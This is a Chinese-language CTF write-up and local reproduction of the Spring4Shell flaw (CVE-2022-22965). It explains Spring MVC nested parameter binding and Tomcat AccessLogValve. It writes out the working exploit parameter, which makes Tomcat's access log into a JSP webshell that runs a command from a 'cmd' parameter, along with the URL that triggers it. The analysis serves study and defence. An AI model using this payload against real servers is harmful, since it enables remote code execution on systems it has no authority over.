Spring远程命令执行漏洞(CVE-2022-22965)
Spring远程命令执行漏洞(CVE-2022-22965)
1azy_fish.before all:继续我们java的学习。
看到[NUSTCTF 2022 新生赛]Ezjava,新生赛的题,拿来看看,然后复现分析一下CVE-2022-22965
前置知识
springboot的MVC
Spring Boot的MVC(Model-View-Controller)是一种Web应用程序开发模式,它将应用程序分为三个主要的组件:模型(Model)、视图(View)和控制器(Controller)。
- 模型(Model)是应用程序的数据层,它负责处理数据的存储、检索和操作。在Spring Boot中,模型可以是实体类、数据库对象或其他用于表示数据的类。
- 视图(View)是应用程序的用户界面,它负责展示模型中的数据给用户。在Spring Boot中,视图可以是HTML页面、JSON、XML或其他类型的数据格式。
- 控制器(Controller)是应用程序的逻辑层,它负责处理用户请求并将其转发给适当的模型和视图。在Spring Boot中,控制器使用注解来标识处理请求的方法,并可以通过方法参数来接收请求参数、路径变量等。
使用示例如下
1 | package com.example.demo3.controller; |
1 | package com.example.demo3.model; |
MVC的参数绑定
SpringMVC参数绑定是指将客户端请求中的参数值绑定到控制器方法的参数上。
SpringMVC提供了多种方式来实现参数绑定:
- 请求参数绑定:可以通过在控制器方法的参数前加上
@RequestParam
注解来实现请求参数绑定。例如,@RequestParam("username") String username
将会将名为”username”的请求参数的值绑定到String类型的username参数上。- 路径变量绑定:可以通过在控制器方法的参数前加上
@PathVariable
注解来实现路径变量绑定。例如,@PathVariable("id") int id
将会将路径中的变量值绑定到int类型的id参数上。- 请求体绑定:可以通过在控制器方法的参数前加上
@RequestBody
注解来实现请求体绑定。例如,@RequestBody User user
将会将请求体中的JSON或XML数据绑定到User类型的user参数上。- 模型属性绑定:可以通过在控制器方法的参数前加上
@ModelAttribute
注解来实现模型属性绑定。例如,@ModelAttribute("user") User user
将会将名为”user”的模型属性的值绑定到User类型的user参数上。- HttpSession绑定:可以通过在控制器方法的参数前加上
@SessionAttribute
注解来实现HttpSession的属性绑定。例如,@SessionAttribute("username") String username
将会将名为”username”的HttpSession属性的值绑定到String类型的username参数上。
为了方便编程,SpringMVC支持将HTTP请求中的的请求参数或者请求体内容,根据Controller
方法的参数,自动完成类型转换和赋值。之后,Controller
方法就可以直接使用这些参数,避免了需要编写大量的代码从HttpServletRequest
中获取请求数据以及类型转换。
1 | import org.springframework.stereotype.Controller; |
1 | public class User { |
1 | public class Department { |
当请求为/addUser?name=1azy_fish&department.name=Asuri
时,public String addUser(User user)
中的user
参数内容如下:
可以看到,name
自动绑定到了user
参数的name
属性上,department.name
自动绑定到了user
参数的department
属性的name
属性上。
注意department.name
这项的绑定,表明SpringMVC支持多层嵌套的参数绑定。
实际上department.name
的绑定是Spring通过如下的调用链实现的:
1 | User.getDepartment() |
详细的解释就是:请求参数名为a.b.c.d
,对应Controller
方法入参为P
,则有以下的调用链:
1 | P.getA() |
SpringMVC实现参数绑定的主要类和方法是WebDataBinder.doBind(MutablePropertyValues)
。
Java Bean PropertyDescriptor
PropertyDescriptor
是Java中用于描述Java Bean属性的类。它提供了访问和操作Java Bean属性的方法。
PropertyDescriptor
类通常与Java反射机制一起使用,用于获取和设置Java Bean对象的属性值。它通过提供属性的读取方法(getter)和写入方法(setter)来描述属性。
以下是PropertyDescriptor
的常用方法:
public Method getReadMethod()
: 获取属性的读取方法(getter)。public Method getWriteMethod()
: 获取属性的写入方法(setter)。public Class<?> getPropertyType()
: 获取属性的类型。public String getName()
: 获取属性的名称。public void setValue(Object obj, Object value)
: 使用属性的写入方法设置给定对象的属性值。public Object getValue(Object obj)
: 使用属性的读取方法获取给定对象的属性值。
使用PropertyDescriptor
,可以通过反射机制获取属性的读取方法和写入方法,并使用这些方法读取或设置属性的值。这对于实现数据绑定、属性访问和操作等功能非常有用。
以下是一个简单示例,演示如何使用PropertyDescriptor
获取和设置Java Bean属性的值:
1 | package com.example.demo3.model; |
1 | package com.example.demo3.model; |
上述示例中,我们通过PropertyDescriptor
获取了Person
对象的name
和age
属性的读取方法和写入方法,并使用这些方法设置和获取属性的值。
从上述代码和输出结果可以看到,PropertyDescriptor
实际上就是Java Bean的属性和对应get/set方法的集合。
Spring BeanWrapperImpl
BeanWrapperImpl
是Spring框架中的一个类,用于封装和操作Java Bean对象的属性值。它是BeanWrapper
接口的默认实现类,提供了许多方便的方法来访问和修改Java Bean对象的属性。
以下是BeanWrapperImpl
类的一些重要方法和功能:
public void setPropertyValue(String propertyName, Object value)
: 设置Java Bean对象的指定属性的值。public Object getPropertyValue(String propertyName)
: 获取Java Bean对象的指定属性的值。public PropertyDescriptor[] getPropertyDescriptors()
: 获取Java Bean对象的所有属性描述符。public PropertyDescriptor getPropertyDescriptor(String propertyName)
: 获取Java Bean对象的指定属性的属性描述符。public void setConversionService(ConversionService conversionService)
: 设置用于属性值类型转换的ConversionService。public void setAutoGrowNestedPaths(boolean autoGrowNestedPaths)
: 设置是否自动增长嵌套路径。public void setAutoGrowCollectionLimit(int autoGrowCollectionLimit)
: 设置自动增长集合的限制。public void setValidator(Validator validator)
: 设置用于验证属性值的Validator。
BeanWrapperImpl
还提供了许多其他有用的方法,用于处理Java Bean对象的属性值,例如类型转换、嵌套属性路径处理、集合属性的自动增长等。
以下是一个简单示例,演示如何使用BeanWrapperImpl
设置和获取Java Bean对象的属性值:
1 | import org.springframework.beans.BeanWrapper; |
在上述示例中,我们创建了一个User
对象,并使用BeanWrapperImpl
封装了该对象。然后,我们使用BeanWrapperImpl
设置和获取User
对象的属性值。
运行示例代码将输出以下结果:
这表明我们成功地使用BeanWrapperImpl
设置和获取了User
对象的属性值,比直接使用PropertyDescriptor
要简单很多。
Tomcat AccessLogValve 和 access_log
ccessLogValve
是Apache Tomcat服务器的一个日志记录阀门(Valve)。它用于记录HTTP请求和响应的访问日志。
访问日志是服务器记录的关于每个客户端请求的信息,包括请求的URL、请求的时间、客户端IP地址、请求方法、响应状态码等。通过查看访问日志,可以获得有关服务器的许多有用信息,例如网站的访问量、最活跃的页面、客户端IP地址的分布等。
AccessLogValve
的配置主要通过Tomcat的server.xml
文件完成。在Host
或Context
元素内,可以添加Valve
元素来配置AccessLogValve
。
示例配置,展示如何在Tomcat中配置AccessLogValve
:
1 | <Host name="localhost" appBase="webapps"> |
在上述示例中,AccessLogValve
的配置位于Host
元素内。className
属性指定了AccessLogValve
类的完全限定名。directory
属性指定了日志文件的目录,prefix
属性指定了日志文件名的前缀,suffix
属性指定了日志文件名的后缀。pattern
属性指定了日志记录的格式模式,其中%h
表示客户端IP地址,%l
表示远程逻辑用户名,%u
表示远程用户身份验证的用户名,%t
表示请求的时间,%r
表示请求的URL和HTTP方法,%s
表示响应的状态码,%b
表示响应的字节数。
通过以上配置,当Tomcat接收到HTTP请求时,AccessLogValve
会将请求的信息按照指定的格式记录到指定的日志文件中。
做题与漏洞复现
复现环境
- 操作系统:window11
- JDK:17
- tomcat: 9.0.6
- springboot:2.6.3
反编译源代码看看
看到flag在
1 |
|
代码审计:
flag1传参直接拿(GET和POST都可以
?department.name1=njust&name=2022
flag2跑poc——CVE2022_22965_poc.py
1 | python CVE2022_22965_poc.py --url http://127.0.0.1:8080/MySpring4Shell_war/addUser1 |
可以看到/ROOT多了一个后门文件tomcatwar.jsp
访问http://127.0.0.1:8080//tomcatwar.jsp?pwd=j&cmd=calc
成功RCE,直接找就ok
漏洞分析
看大佬的poc,我们可以构造这样的包
1 | POST /addUser |
首先,我们构造了这样的参数
1 | class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{c2}i if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1;byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %{suffix}i |
很明显,这个参数是SpringMVC多层嵌套参数绑定。我们可以推测出如下的调用链:
1 | User.getClass() |
那实际运行过程中的调用链是怎样的呢?SomeClass
是哪个类呢?带着这些问题,我们在前置知识中提到的实现SpringMVC参数绑定的主要方法WebDataBinder.doBind(MutablePropertyValues)
上设置断点。
经过一系列的调用逻辑后,我们来到AbstractNestablePropertyAccessor
,getPropertyAccessorForPropertyPath(String)
方法。该方法通过递归调用自身,实现对class.module.classLoader.resources.context.parent.pipeline.first.pattern
的递归解析,设置整个调用链。AbstractNestablePropertyAccessor nestedPa = getNestedPropertyAccessor(nestedProperty);
,该行主要实现每层嵌套参数的获取。我们在该行设置断点,查看每次递归解析过程中各个变量的值,以及如何获取每层嵌套参数。
第一轮迭代
进入getPropertyAccessorForPropertyPath(String)
方法前:
this
:User
的BeanWrapperImpl
包装实例propertyPath
:class.module.classLoader.resources.context.parent.pipeline.first.pattern
nestedPath
:module.classLoader.resources.context.parent.pipeline.first.pattern
nestedProperty
:class
,即本轮迭代需要解析的嵌套参数。
进入方法,经过一系列的调用逻辑后,最终来到BeanWrapperImpl
,BeanPropertyHandler.getValue()
方法中。可以看到class
嵌套参数最终通过反射调用User
的父类java.lang.Object.getClass()
,获得返回java.lang.Class
实例。
getPropertyAccessorForPropertyPath(String)
方法返回后:
this
:User
的BeanWrapperImpl
包装实例propertyPath
:class.module.classLoader.resources.context.parent.pipeline.first.pattern
nestedPath
:module.classLoader.resources.context.parent.pipeline.first.pattern
,作为下一轮迭代的propertyPath
nestedProperty
:class
,即本轮迭代需要解析的嵌套参数 -nestedPa
:java.lang.Class
的BeanWrapperImpl
包装实例,作为下一轮迭代的this
经过第一轮迭代,我们可以得出第一层调用链:
1 | User.getClass() |
第二次迭代
module
嵌套参数最终通过反射调用java.lang.Class.getModule()
,获得返回java.lang.Module
实例。
经过第二轮迭代,我们可以得出第二层调用链:
1 | User.getClass() |
接着按照上述调试方法,依次调试剩余的递归轮次并观察相应的变量,最终可以得到如下完整的调用链:
1 | User.getClass() |
可以看到,pattern
参数最终对应AccessLogValve.setPattern()
,即将AccessLogValve
的pattern
属性设置为%{c2}i if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %{suffix}i
,也就是access_log的文件内容格式。而且除了常规的Java代码外,还夹杂了三个特殊片段。有下图AbstractAccessLogValve
的源代码参考
不难看出AccessLogValve
输出的日志实际内容如下:
1 | <% |
很明显,这是一个JSP webshell。
然后按照之前的调用方式:
suffix
参数最终将AccessLogValve.suffix
设置为.jsp
,即access_log的文件名后缀。directory
参数最终将AccessLogValve.directory
设置为webapps/ROOT
,即access_log的文件输出目录。prefix
参数最终将AccessLogValve.prefix
设置为tomcatwar
,即access_log的文件名前缀。fileDateFormat
参数最终将AccessLogValve.fileDateFormat
设置为空,即access_log的文件名不包含日期。
至此,经过上述的分析,结论非常清晰了:通过请求传入的参数,利用SpringMVC参数绑定机制,控制了Tomcat AccessLogValve
的属性,让Tomcat在webapps/ROOT
目录输出定制的“访问日志”tomcatwar.jsp
,该“访问日志”实际上为一个JSP webshell。
利用环境
漏洞利用条件之一,Web应用部署方式需要是Tomcat war包部署。
漏洞利用条件之二,JDK>=1.9。